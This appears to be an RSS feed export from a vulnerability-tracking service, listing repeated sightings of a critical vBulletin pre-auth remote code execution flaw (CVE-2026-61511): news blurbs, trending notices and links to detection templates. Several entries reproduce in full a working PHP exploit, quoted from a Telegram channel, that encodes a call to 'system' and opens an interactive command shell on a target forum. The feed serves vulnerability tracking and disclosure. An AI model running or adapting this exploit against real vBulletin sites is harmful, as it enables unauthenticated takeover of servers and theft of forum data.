https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Wed, 16 Sep 2026 18:06:19 +0000 https://vulnerability.circl.lu/sighting/5cdb9fd9-d9f6-43c5-9eba-752bb2ec06e0/export {"uuid": "5cdb9fd9-d9f6-43c5-9eba-752bb2ec06e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3584", "content": "CVE-2026-61511 vBulletin\n*\nAffected Versions\n vBulletin 6.2.1 and prior\n vBulletin 6.1.6 and prior\n*\nExploit\n\\n\";\n print \"\\nExample....: php $argv[0] http://localhost/vb/\";\n print \"\\nExample....: php $argv[0] https://vbulletin.com/\\n\\n\";\n die();\n}\n\nfunction encodeChar($char)\n{\n $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];\n\n $char = strval(ord($char));\n\n $ret = '';\n for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';\n\n return rtrim($ret, '.');\n}\n\nfunction makePayload($function, $param)\n{\n $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';\n\n $ret = '';\n foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n $ret = \"(\" . rtrim($ret, '.') . ')((';\n\n foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n return rtrim($ret, '.') . '))';\n}\n\n$curl = curl_init();\n$params = [\"routestring\" => \"ajax/render/pagenav\"];\n\ncurl_setopt($curl, CURLOPT_URL, $argv[1]);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n//curl_setopt($curl, CURLOPT_PROXY, \"http://127.0.0.1:8080\");\n\nwhile (1) {\n print \"\\nvb-shell# \";\n if (($cmd = trim(fgets(STDIN))) == \"exit\") break;\n $cmd .= \"; echo _____\";\n $params[\"pagenav[pagenumber]\"] = makePayload(\"system\", $cmd);\n curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));\n preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die(\"\\n[+] Exploit failed! :(\\n\\n\");\n}", "creation_timestamp": "2026-09-03T00:00:39.837160Z"} {"uuid": "5cdb9fd9-d9f6-43c5-9eba-752bb2ec06e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3584", "content": "CVE-2026-61511 vBulletin\n*\nAffected Versions\n vBulletin 6.2.1 and prior\n vBulletin 6.1.6 and prior\n*\nExploit\n\\n\";\n print \"\\nExample....: php $argv[0] http://localhost/vb/\";\n print \"\\nExample....: php $argv[0] https://vbulletin.com/\\n\\n\";\n die();\n}\n\nfunction encodeChar($char)\n{\n $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];\n\n $char = strval(ord($char));\n\n $ret = '';\n for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';\n\n return rtrim($ret, '.');\n}\n\nfunction makePayload($function, $param)\n{\n $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';\n\n $ret = '';\n foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n $ret = \"(\" . rtrim($ret, '.') . ')((';\n\n foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n return rtrim($ret, '.') . '))';\n}\n\n$curl = curl_init();\n$params = [\"routestring\" => \"ajax/render/pagenav\"];\n\ncurl_setopt($curl, CURLOPT_URL, $argv[1]);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n//curl_setopt($curl, CURLOPT_PROXY, \"http://127.0.0.1:8080\");\n\nwhile (1) {\n print \"\\nvb-shell# \";\n if (($cmd = trim(fgets(STDIN))) == \"exit\") break;\n $cmd .= \"; echo _____\";\n $params[\"pagenav[pagenumber]\"] = makePayload(\"system\", $cmd);\n curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));\n preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die(\"\\n[+] Exploit failed! :(\\n\\n\");\n}", "creation_timestamp": "2026-09-03T00:00:39.837160Z"} https://vulnerability.circl.lu/sighting/5cdb9fd9-d9f6-43c5-9eba-752bb2ec06e0/export Thu, 03 Sep 2026 00:00:39 +0000 https://vulnerability.circl.lu/sighting/3ce9e6c5-e91f-45f4-9f20-699da391ffd9/export {"uuid": "3ce9e6c5-e91f-45f4-9f20-699da391ffd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "seen", "source": "https://t.me/proxy_bar/3584", "content": "CVE-2026-61511 vBulletin\n*\nAffected Versions\n vBulletin 6.2.1 and prior\n vBulletin 6.1.6 and prior\n*\nExploit\n\\n\";\n print \"\\nExample....: php $argv[0] http://localhost/vb/\";\n print \"\\nExample....: php $argv[0] https://vbulletin.com/\\n\\n\";\n die();\n}\n\nfunction encodeChar($char)\n{\n $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];\n\n $char = strval(ord($char));\n\n $ret = '';\n for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';\n\n return rtrim($ret, '.');\n}\n\nfunction makePayload($function, $param)\n{\n $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';\n\n $ret = '';\n foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n $ret = \"(\" . rtrim($ret, '.') . ')((';\n\n foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n return rtrim($ret, '.') . '))';\n}\n\n$curl = curl_init();\n$params = [\"routestring\" => \"ajax/render/pagenav\"];\n\ncurl_setopt($curl, CURLOPT_URL, $argv[1]);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n//curl_setopt($curl, CURLOPT_PROXY, \"http://127.0.0.1:8080\");\n\nwhile (1) {\n print \"\\nvb-shell# \";\n if (($cmd = trim(fgets(STDIN))) == \"exit\") break;\n $cmd .= \"; echo _____\";\n $params[\"pagenav[pagenumber]\"] = makePayload(\"system\", $cmd);\n curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));\n preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die(\"\\n[+] Exploit failed! :(\\n\\n\");\n}", "creation_timestamp": "2026-09-02T18:00:06.231182Z"} {"uuid": "3ce9e6c5-e91f-45f4-9f20-699da391ffd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "seen", "source": "https://t.me/proxy_bar/3584", "content": "CVE-2026-61511 vBulletin\n*\nAffected Versions\n vBulletin 6.2.1 and prior\n vBulletin 6.1.6 and prior\n*\nExploit\n\\n\";\n print \"\\nExample....: php $argv[0] http://localhost/vb/\";\n print \"\\nExample....: php $argv[0] https://vbulletin.com/\\n\\n\";\n die();\n}\n\nfunction encodeChar($char)\n{\n $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];\n\n $char = strval(ord($char));\n\n $ret = '';\n for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';\n\n return rtrim($ret, '.');\n}\n\nfunction makePayload($function, $param)\n{\n $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';\n\n $ret = '';\n foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n $ret = \"(\" . rtrim($ret, '.') . ')((';\n\n foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n return rtrim($ret, '.') . '))';\n}\n\n$curl = curl_init();\n$params = [\"routestring\" => \"ajax/render/pagenav\"];\n\ncurl_setopt($curl, CURLOPT_URL, $argv[1]);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n//curl_setopt($curl, CURLOPT_PROXY, \"http://127.0.0.1:8080\");\n\nwhile (1) {\n print \"\\nvb-shell# \";\n if (($cmd = trim(fgets(STDIN))) == \"exit\") break;\n $cmd .= \"; echo _____\";\n $params[\"pagenav[pagenumber]\"] = makePayload(\"system\", $cmd);\n curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));\n preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die(\"\\n[+] Exploit failed! :(\\n\\n\");\n}", "creation_timestamp": "2026-09-02T18:00:06.231182Z"} https://vulnerability.circl.lu/sighting/3ce9e6c5-e91f-45f4-9f20-699da391ffd9/export Wed, 02 Sep 2026 18:00:06 +0000 https://vulnerability.circl.lu/sighting/433c50fe-ceb2-486c-8ef5-168ca00b5fa1/export {"uuid": "433c50fe-ceb2-486c-8ef5-168ca00b5fa1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/474b0604-d35d-480d-88df-9f74bcbd3614", "content": "", "creation_timestamp": "2026-08-28T14:00:51.768615Z"} {"uuid": "433c50fe-ceb2-486c-8ef5-168ca00b5fa1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/474b0604-d35d-480d-88df-9f74bcbd3614", "content": "", "creation_timestamp": "2026-08-28T14:00:51.768615Z"} https://vulnerability.circl.lu/sighting/433c50fe-ceb2-486c-8ef5-168ca00b5fa1/export Fri, 28 Aug 2026 14:00:51 +0000 https://vulnerability.circl.lu/sighting/65f5a356-67fb-4255-b1f4-900d5c5e2256/export {"uuid": "65f5a356-67fb-4255-b1f4-900d5c5e2256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "content": "", "creation_timestamp": "2026-08-27T00:00:12.006873Z"} {"uuid": "65f5a356-67fb-4255-b1f4-900d5c5e2256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "content": "", "creation_timestamp": "2026-08-27T00:00:12.006873Z"} https://vulnerability.circl.lu/sighting/65f5a356-67fb-4255-b1f4-900d5c5e2256/export Thu, 27 Aug 2026 00:00:12 +0000 https://vulnerability.circl.lu/sighting/3cee0e3e-bcd8-45ad-9b95-d46a5e63fcba/export {"uuid": "3cee0e3e-bcd8-45ad-9b95-d46a5e63fcba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "content": "", "creation_timestamp": "2026-08-26T00:00:09.270528Z"} {"uuid": "3cee0e3e-bcd8-45ad-9b95-d46a5e63fcba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "content": "", "creation_timestamp": "2026-08-26T00:00:09.270528Z"} https://vulnerability.circl.lu/sighting/3cee0e3e-bcd8-45ad-9b95-d46a5e63fcba/export Wed, 26 Aug 2026 00:00:09 +0000 https://vulnerability.circl.lu/sighting/34f43d3d-cd91-497d-ba89-33689fb82837/export {"uuid": "34f43d3d-cd91-497d-ba89-33689fb82837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mtupngxjno22", "content": "CVE-2026-61511 is trending. Hype score 4, currently #10 on cvemon.\n\nvBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contains an eval injection vulnerability in the vB5_Template_Runtime::runMaths() method within the template runtime that allows\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-61511", "creation_timestamp": "2026-08-25T01:55:48.542537Z"} {"uuid": "34f43d3d-cd91-497d-ba89-33689fb82837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mtupngxjno22", "content": "CVE-2026-61511 is trending. Hype score 4, currently #10 on cvemon.\n\nvBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contains an eval injection vulnerability in the vB5_Template_Runtime::runMaths() method within the template runtime that allows\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-61511", "creation_timestamp": "2026-08-25T01:55:48.542537Z"} https://vulnerability.circl.lu/sighting/34f43d3d-cd91-497d-ba89-33689fb82837/export Tue, 25 Aug 2026 01:55:48 +0000 https://vulnerability.circl.lu/sighting/4f8fb386-4e6a-46cb-b264-6fbe550f9e73/export {"uuid": "4f8fb386-4e6a-46cb-b264-6fbe550f9e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "content": "", "creation_timestamp": "2026-08-25T00:00:09.764107Z"} {"uuid": "4f8fb386-4e6a-46cb-b264-6fbe550f9e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "content": "", "creation_timestamp": "2026-08-25T00:00:09.764107Z"} https://vulnerability.circl.lu/sighting/4f8fb386-4e6a-46cb-b264-6fbe550f9e73/export Tue, 25 Aug 2026 00:00:09 +0000 https://vulnerability.circl.lu/sighting/62b7ba30-5fdb-4179-b146-ed2c3587a41e/export {"uuid": "62b7ba30-5fdb-4179-b146-ed2c3587a41e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "content": "", "creation_timestamp": "2026-08-24T06:00:05.168285Z"} {"uuid": "62b7ba30-5fdb-4179-b146-ed2c3587a41e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-61511.yaml", "content": "", "creation_timestamp": "2026-08-24T06:00:05.168285Z"} https://vulnerability.circl.lu/sighting/62b7ba30-5fdb-4179-b146-ed2c3587a41e/export Mon, 24 Aug 2026 06:00:05 +0000 https://vulnerability.circl.lu/sighting/ddb7062c-629e-451d-bd5d-989b121e3660/export {"uuid": "ddb7062c-629e-451d-bd5d-989b121e3660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "published-proof-of-concept", "source": "https://t.me/pphm_HackerNews/2360", "content": "\ud83d\udd34 vBulletin fixes critical pre-auth RCE flaw with public exploit\n\nA critical vulnerability in the vBulletin forum software allows unauthenticated attackers to execute arbitrary PHP code through template rendering.\n\nThe security issue is tracked as CVE-2026-61511 and affects vBulletin versions in the 5.x and 6.x branches up to 5.7.5 and 6.2.1, respectively.\n\nvBulletin is a PHP-based proprietary forum platform released in 2000 and used by large online communities, gaming sites, support portals, automotive forums, tech forums, and discussion boards.", "creation_timestamp": "2026-08-23T00:00:45.709277Z"} {"uuid": "ddb7062c-629e-451d-bd5d-989b121e3660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "published-proof-of-concept", "source": "https://t.me/pphm_HackerNews/2360", "content": "\ud83d\udd34 vBulletin fixes critical pre-auth RCE flaw with public exploit\n\nA critical vulnerability in the vBulletin forum software allows unauthenticated attackers to execute arbitrary PHP code through template rendering.\n\nThe security issue is tracked as CVE-2026-61511 and affects vBulletin versions in the 5.x and 6.x branches up to 5.7.5 and 6.2.1, respectively.\n\nvBulletin is a PHP-based proprietary forum platform released in 2000 and used by large online communities, gaming sites, support portals, automotive forums, tech forums, and discussion boards.", "creation_timestamp": "2026-08-23T00:00:45.709277Z"} https://vulnerability.circl.lu/sighting/ddb7062c-629e-451d-bd5d-989b121e3660/export Sun, 23 Aug 2026 00:00:45 +0000 https://vulnerability.circl.lu/sighting/e172c428-8afe-4a1d-a63e-c995dcace32e/export {"uuid": "e172c428-8afe-4a1d-a63e-c995dcace32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "seen", "source": "https://t.me/pphm_HackerNews/2360", "content": "\ud83d\udd34 vBulletin fixes critical pre-auth RCE flaw with public exploit\n\nA critical vulnerability in the vBulletin forum software allows unauthenticated attackers to execute arbitrary PHP code through template rendering.\n\nThe security issue is tracked as CVE-2026-61511 and affects vBulletin versions in the 5.x and 6.x branches up to 5.7.5 and 6.2.1, respectively.\n\nvBulletin is a PHP-based proprietary forum platform released in 2000 and used by large online communities, gaming sites, support portals, automotive forums, tech forums, and discussion boards.", "creation_timestamp": "2026-08-22T00:00:10.989606Z"} {"uuid": "e172c428-8afe-4a1d-a63e-c995dcace32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "seen", "source": "https://t.me/pphm_HackerNews/2360", "content": "\ud83d\udd34 vBulletin fixes critical pre-auth RCE flaw with public exploit\n\nA critical vulnerability in the vBulletin forum software allows unauthenticated attackers to execute arbitrary PHP code through template rendering.\n\nThe security issue is tracked as CVE-2026-61511 and affects vBulletin versions in the 5.x and 6.x branches up to 5.7.5 and 6.2.1, respectively.\n\nvBulletin is a PHP-based proprietary forum platform released in 2000 and used by large online communities, gaming sites, support portals, automotive forums, tech forums, and discussion boards.", "creation_timestamp": "2026-08-22T00:00:10.989606Z"} https://vulnerability.circl.lu/sighting/e172c428-8afe-4a1d-a63e-c995dcace32e/export Sat, 22 Aug 2026 00:00:10 +0000